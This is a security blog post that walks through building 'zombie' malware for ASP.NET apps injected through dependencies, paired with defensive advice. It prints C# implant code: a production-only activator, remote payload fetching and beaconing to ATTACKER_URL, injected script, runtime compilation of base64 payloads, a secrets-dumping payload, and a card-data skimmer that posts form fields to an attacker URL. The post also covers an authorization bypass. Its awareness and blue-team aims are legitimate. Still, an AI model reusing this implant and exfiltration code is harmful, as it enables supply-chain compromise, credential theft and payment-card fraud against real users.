Hacking ASP.NET apps and turning them onto Zombies.

Would your application withstand malicious code being injected onto it? Can you identify and safeguard your applications?

Paulo Gomes
11 min readNov 13, 2017

On this post we will go through the writing of malicious code that could turn an ASP.Net web application into a zombie in production. In the process we will cover red and blue teams perspectives, on why would you take an approach and how to secure your application against it. I will then follow up this post with another one, covering how the malicious code would make its way into a web application.

The main goal here is to increase awareness and hopefully allow people to think on how their decisions at development/deployment time, affect the ability of their application surviving a breach (hopefully) unscathed.

In other words, I will dive a bit deeper on the issue of dependencies security that I highlighted here. Hopefully by the end of this post it will become clear that there is loads of things you can do to make your application more secure.

ZOMBIE

First things first. What exactly do I mean by turning an ASP.Net app onto a zombie? Well, most certainly Wikipedia’s definition will beat mine, so here it goes:

a zombie is a computer connected to the Internet that has been compromised … and can be used to perform malicious tasks… under remote direction. Most owners of “zombie” computers are unaware that their system is being used in this way.

But wait, what does a zombie do exactly?

Most often they are used as part of a botnet for DDoS attacks. But the more sophisticated they are, the more things the zombie-master would be able to do with it. On the specific case of asp.net apps, it can be a lot worse as them usually are used to store or process personal or payment information (PCI/PII), which could be seized or shared by the malicious code. If the application has access to other services, it could be also be used to disrupt them.

Based on that description, and now with the red-team-hat on, let’s design the code that we need to get injected into the application so we can “remotely control it”. A zombie is good as long as it is undetected, so to keep it concealed it needs to:

  • Add no clear change in the original application behaviour.
  • Not affect general resources consumption (memory, CPU, I/O).
  • Avoid any exceptional behaviour manifesting itself before a deployment is deemed successful and stable — otherwise it would be easily rolled-back.
  • Avoid activating on dev/test environments.
  • Fail silently.

To achieve those goals, alongside providing a way to remotely control the application, we need three things: an Activator, a way to get instructions (payload) and a way to execute them. Once implemented, this code could be injected in any assembly located on the application’s bin folder:

Zombie Activator

In the zombie lifecycle, the activator is the piece of code that will be executed first. We need to find a way to get it executed without necessarily being called by the target application. The earlier this happens, the more information you may gather from the application.

There are certainly several ways of doing this. Depending on the type of the application you have you can take different approaches — this one would not work for windows services or desktop applications for example. Ideally this would be a tiny piece of code, which you can then easily inject onto a dependency. The code below should be enough for the activation part:

The PreApplicationStartMethod assembly level attribute will force the method ZombieActivator.Run to be executed before the application starts. The rudimentary validation we have in place should skip the module registration locally and from URLs that may look like dev and test environments. This may need to be a bit more sophisticated if it targets windows services or desktop applications.

As a result, once the application is started, if the zombie thinks it is being executed in production, the ZombieModule will be registered. Otherwise it does nothing. Giving that we are kicking off a HttpModule, we will have greater access to every single bit of information from both requests and responses.

Payload Finder / Fetcher

Now that our activator is in place, we need to be able to find a way of getting the payload onto it. That is the part the Payload Finder / Fetcher is responsible for. We can go about this two ways: Active or Passive. The former means that the zombie code will be actively trying to get instructions to be executed. The latter will be passively waiting for some sort of an event to be triggered.

Active Zombie

Actively fetches the payload with instructions on what to do. The code would look something like this:

static async Task ExecutesPayloadIfFound()
{
var httpClient = new HttpClient();
var payload = await httpClient.GetStringAsync(new Uri("https://PAYLOAD_HOSTED_URL"));
process(payload);
}

This would probably be executed under a timer of some sorts, so it isn’t too obvious that the application has a mind of its own.

Red Team’s Perspective: this is ideal for internal websites, windows services, desktop apps or (micro) services that are not available or accessible through the internet. It is only effective when the original application has no extensive network outbound traffic blocks.

Blue Team’s Perspective: an easy way around this would be to block all requests to unknown/not trusted domains/IPs. But how you would implement this would largely depend on your production topology.

If you are in the cloud, the approach would differ if you have a PaaS or IaaS as compute. Some multi-tenant PaaS solutions (Azure WebApps Multi-tenant), would not even provide you with that option. However, you would be able to do that with NSGs on both VMs and ASE (Azure App Service Environment).

General advice is: consider your production topology and ensure you only allow traffic to flow to a small list of known IPs and domains that your application genuinely needs to talk to.

Passive Zombie

Awaits instructions based on requests to the application. This makes it a lot easier to be keep the breach concealed, as the input can be quite easily disguised among normal application values flowing around.

private void ContextOnEndRequest(object sender, EventArgs eventArgs)
{
HttpApplication application = (HttpApplication)sender;
HttpContext context = application.Context;
var payload = context.Request["payload"];
if (!string.IsNullOrEmpty(payload))
{
process(payload);
}
}

The example above uses the Request property, which would go through values in the form values, query strings, cookies. But think that as you have access to all the values that comes from the request, you could easily use a combination of HTTP headers, HTTP verbs, etc.

One challenge though, is that not necessarily this would be a targeted attack. In that case, it would be hard to know how to access the web-app unless the zombie reported back to tell the attacker where it was located. That could easily be done at server side:

var httpClient = new HttpClient();httpClient.DefaultRequestHeaders.Referrer = HttpContext.Current.Request.Url;await httpClient.GetAsync(new Uri("https://ATTACKER_URL/logo.jpg"));

Most probably that attacker_url/logo.jpg would be something that looked a bit less suspicious. Sending the current web site URL as the Referrer header on a GET request certainly feels at lot more normal than sending it as POST.

But wait, doing that at server side would be a lot easier for someone to defend against, so why not do it at client side? Things to bear in mind here is that a ASP.Net app can be MVC, Web Forms or Web Api, sometimes even a combination of the three. So the client calls should only be injected when the response content type is text/html.

For Web Forms, you would handle the PreRequestHandlerExecute event:

string HeartBeatSignalScript = "<script type=\"text/javascript\">(function(){var img = document.createElement('img');
img.src = 'https://attacker_url/arrow.jpg';
document.body.appendChild(img);})()
</script>";
private void PreRequestHandlerExecute(object sender, EventArgs e)
{
HttpApplication application = (HttpApplication) sender;
HttpContext context = application.Context;

if (context.Response.ContentType == "text/html" && HttpContext.Current.Handler is Page page)
{
page.ClientScript.RegisterStartupScript(typeof(object), ".", HeartBeatSignalScript);
}
}

Potentially one of the best ways to protect an application against this, would be to use the Content-Security-Policy header. This would allow the browser to not only block the execution of such code, but also to report in case of violations.

But wait again, as we have control over the server, we can easily manipulate and remove any HTTP header or directive defined at application server level. So if you are using this as your last line of defense, make sure you do this at a reverse proxy level instead.

Red Team’s Perspective: this approach makes the target an easier prey, provided that you have access to it through the internet. Ideally the payload would be come from unlikely places to be checked/analysed. If the zombie have built-in payloads, the input could be even smaller.

Blue Team’s Perspective: this is quite a tricky one to protect against. Specially if the combined with a built-in payload, as the attacker could easily use any type of user input to trigger it. General advice is to reject any malformed input.

Processing the Payload

Now we need to decide how the instructions will be processed. To make it more flexible, let’s allow C# code to be used as payload — to avoid detection at instruction level, specific payloads could be pre-compiled on the initial code.

The C# code will need to be parsed, compiled and ran on demand. To make the payload simpler to traffic across the web, we could simply encode it to base 64. The code for that is quite straight-forward:

static void ExecuteDynamicCode(string base64Payload)
{
CodeDomProvider codeProvider = CodeDomProvider.CreateProvider("CSharp");
var parameters = new CompilerParameters();
parameters.ReferencedAssemblies.Add("System.dll");
parameters.ReferencedAssemblies.Add("System.Web.dll");
parameters.ReferencedAssemblies.Add("System.Configuration.dll");

var sourceCode = new[] { Encoding.UTF8.GetString(Convert.FromBase64String(base64Payload)) };
var results = codeProvider.CompileAssemblyFromSource(parameters, sourceCode);
if (results.Errors.Count == 0)
{
var t = results.CompiledAssembly.GetType("PayLoad");
var result = t.GetMethod("Execute").Invoke(null, null);
}
}

Notice that all assemblies used at the payload code are required to be referenced ahead of time, even the ones that are part of the .Net Framework. That is done by adding the assembly name at the ReferencedAssemblies properties of the compiler parameters.

You could also reference all the assemblies of the original application, in case you wanted to fiddle around the application logic. For that you simply need to iterate through all the .dll files on the bin folder. :)

PAYLOAD

The payload must be C# code containing a method Execute inside of a Payload class, without a namespace. Below goes a few examples of it:

Simple Export of Sensitive Content

To output all app settings and connection strings onto page body content:

using System.Web;
using System.Configuration;
using System.Text;

public class PayLoad
{
public static void Execute()
{
HttpContext.Current.Response.ClearContent();
HttpContext.Current.Response.Write(GetSensitiveData());
}

private static string GetSensitiveData()
{
var sensitiveData = new StringBuilder();
foreach (var key in ConfigurationManager.AppSettings.AllKeys)
sensitiveData.AppendLine($"{key}:{ConfigurationManager.AppSettings[key]}<br/>");

for (int i = 0; i < ConfigurationManager.ConnectionStrings.Count; i++)
sensitiveData.AppendLine(
$"{ConfigurationManager.ConnectionStrings[i].Name}:{ConfigurationManager.ConnectionStrings[i].ConnectionString}<br/>");

return sensitiveData.ToString();
}
}

Once encoded to base64 it would look like this:

dXNpbmcgU3lzdGVtLldlYjsKdXNpbmcgU3lzdGVtLkNvbmZpZ3VyYXRpb247CnVzaW5nIFN5c3RlbS5UZXh0OwoKcHVibGljIGNsYXNzIFBheUxvYWQKewogICAgcHVibGljIHN0YXRpYyB2b2lkIEV4ZWN1dGUoKQogICAgewogICAgICAgIEh0dHBDb250ZXh0LkN1cnJlbnQuUmVzcG9uc2UuQ2xlYXJDb250ZW50KCk7CiAgICAgICAgSHR0cENvbnRleHQuQ3VycmVudC5SZXNwb25zZS5Xcml0ZShHZXRTZW5zaXRpdmVEYXRhKCkpOwogICAgfQogICAgCiAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgR2V0U2Vuc2l0aXZlRGF0YSgpCiAgICB7CiAgICAgICAgdmFyIHNlbnNpdGl2ZURhdGEgPSBuZXcgU3RyaW5nQnVpbGRlcigpOwogICAgICAgIGZvcmVhY2ggKHZhciBrZXkgaW4gQ29uZmlndXJhdGlvbk1hbmFnZXIuQXBwU2V0dGluZ3MuQWxsS2V5cykKICAgICAgICAgICAgc2Vuc2l0aXZlRGF0YS5BcHBlbmRMaW5lKCQie2tleX06e0NvbmZpZ3VyYXRpb25NYW5hZ2VyLkFwcFNldHRpbmdzW2tleV19PGJyLz4iKTsKCiAgICAgICAgZm9yIChpbnQgaSA9IDA7IGkgPCBDb25maWd1cmF0aW9uTWFuYWdlci5Db25uZWN0aW9uU3RyaW5ncy5Db3VudDsgaSsrKQogICAgICAgICAgICBzZW5zaXRpdmVEYXRhLkFwcGVuZExpbmUoCiAgICAgICAgICAgICAgICAkIntDb25maWd1cmF0aW9uTWFuYWdlci5Db25uZWN0aW9uU3RyaW5nc1tpXS5OYW1lfTp7Q29uZmlndXJhdGlvbk1hbmFnZXIuQ29ubmVjdGlvblN0cmluZ3NbaV0uQ29ubmVjdGlvblN0cmluZ308YnIvPiIpOwoKICAgICAgICByZXR1cm4gc2Vuc2l0aXZlRGF0YS5Ub1N0cmluZygpOwogICAgfQp9

Credit Card Information

Depending on the type of data targeted there are quite a few things that can be done. For example, imagine that on top of a custom payload, the zombie code would also check for credit card information and post that onto an external url:

private async void ContextOnEndRequest(object sender, EventArgs eventArgs)
{
HttpApplication application = (HttpApplication) sender;
HttpContext context = application.Context;

try
{
if (context.Request.HttpMethod == "POST" && context.Request.Form.Count > 0)
{
if (context.Request.Form.AllKeys.Any(x => x.Contains("card") || x.Contains("cc-number")))
{
var data = new StringBuilder();
data.Append("{");

foreach (var key in context.Request.Form.AllKeys)
data.Append($"\"{key}\":\"{context.Request.Form[key]}\",");

data.Remove(data.Length - 1, 1);
data.Append("}");
await MakeRequest(data.ToString());
}
}
}
catch
{
}
}

static async Task<HttpResponseMessage> MakeRequest(string value)
{
var httpClient = new HttpClient();
var content = new StringContent(value);
content.Headers.ContentType = MediaTypeHeaderValue.Parse("application/json");
return await httpClient.PostAsync(new Uri("attacker_url"), content);
}

With the code above, if the application contained a form for payment with credit cards:

As soon as the form was submitted, it would be processed as normal, however, the zombie would also capture the data and push it onto the attacker_url.

Nah! I only work with back-end APIs, why should I care?

On Web APIs you may not be affected by a few of the things above. However, there are quite a few other things that could happen instead.

Let’s consider the following controller:

public class UserController : ApiController
{
[Authorize]
public IHttpActionResult Create(User user)
{
// Create user on AD/DB/etc...
return Ok(new { user.UserName });
}
}

It has a very simple action which can only be executed by an authorised user. One interesting challenge would be to allow specific requests to simply bypass the Authorisation process altogether. Here’s my take on that task:

With that, any request with a user language of “tt” would not go through the authorisation process. All others would.

At first I approached this problem by creating proxy classes at runtime using Emit. That worked fine, however, that would become part of the stack trace in any exception generated on the original application. Using the approach above, unless there is a bug on my code, this should be a lot harder to find. Another key point here is the support to IHttpActionSelectors.

Now imagine that you had some code that, with the right input, would return a JSON containing all the endpoints available at this Api. That combined with the code above means that an attacker would be able to execute any endpoints from your application.

Red Team’s Perspective: this can become a bit more sophisticated by trying to block/amend the application logging and monitoring capabilities. The zombie code could for example amend the Request IP address with a “valid” one, making it harder for the blue team to identify where the unauthorised requests are actually coming from.

Blue Team’s Perspective: effectively, there are very few things you can do here. After all, instead of a language of “tt”, this could be a mix of different but valid inputs: like User Agent String, Language and Accept headers. You are better off having a reverse proxy on top of your application and only allowing through valid headers. This type of attack is very hard to defend against, given the amount of options the attacker has. Best advice is, don’t be on this position in the first place. :)

Wrapping up

I hope the above shows that once an application is compromised, the amount of the damaged that can be caused is horrendous. Assume that any application secrets or data could be compromised. That is huge problem per se. However, it can be a lot worse if your application share the same physical server with other more important applications, as it would be trivial to enumerate through all applications within a machine and compromise them as well.

Notice that on the Web Api example I am using reflection to amend the filters assigned to the action being executed. With the exactly same skills someone could amend what and when something is being logged. Think of IP addresses, correlation Ids or whatever else that can make it harder for you to identify unauthorised requests being made against your application.

There is no silver bullet to completely secure an application, but a good start would be:

  • Validate user input and discard unknown: end-point requests, query strings, form fields, header fields and cookies.
  • Validate user input for length and format.
  • Log absolutely everything that reaches your application. Anything may (and will) be used against you.
  • Block your servers from making external http requests to unknown IPs/domains.
  • Always run applications and processes on least-privileged contexts.
  • Use reverse proxies that enforce security policies (i.e. Content-Security-Policy).

That won’t protect you a 100% against an avid hacker, however that should at least block the average script kiddie.

But if you can hold your hand on heart to say your application and customer data is safe even if a small piece of code was injected at any point in your supply chain, then congratulations, you have just lost 11 minutes of your life reading this post. Now if that is not the case, the follow up post will talk you through how to inject code onto an application and how to defend against it as well. Stay tuned. :)

Photo by Siyan Ren on Unsplash

--

--

Paulo Gomes

Software craftsman on the eternal learning path towards (hopefully) mastery. Security enthusiast keen on SecDevOps. My opinions are my own.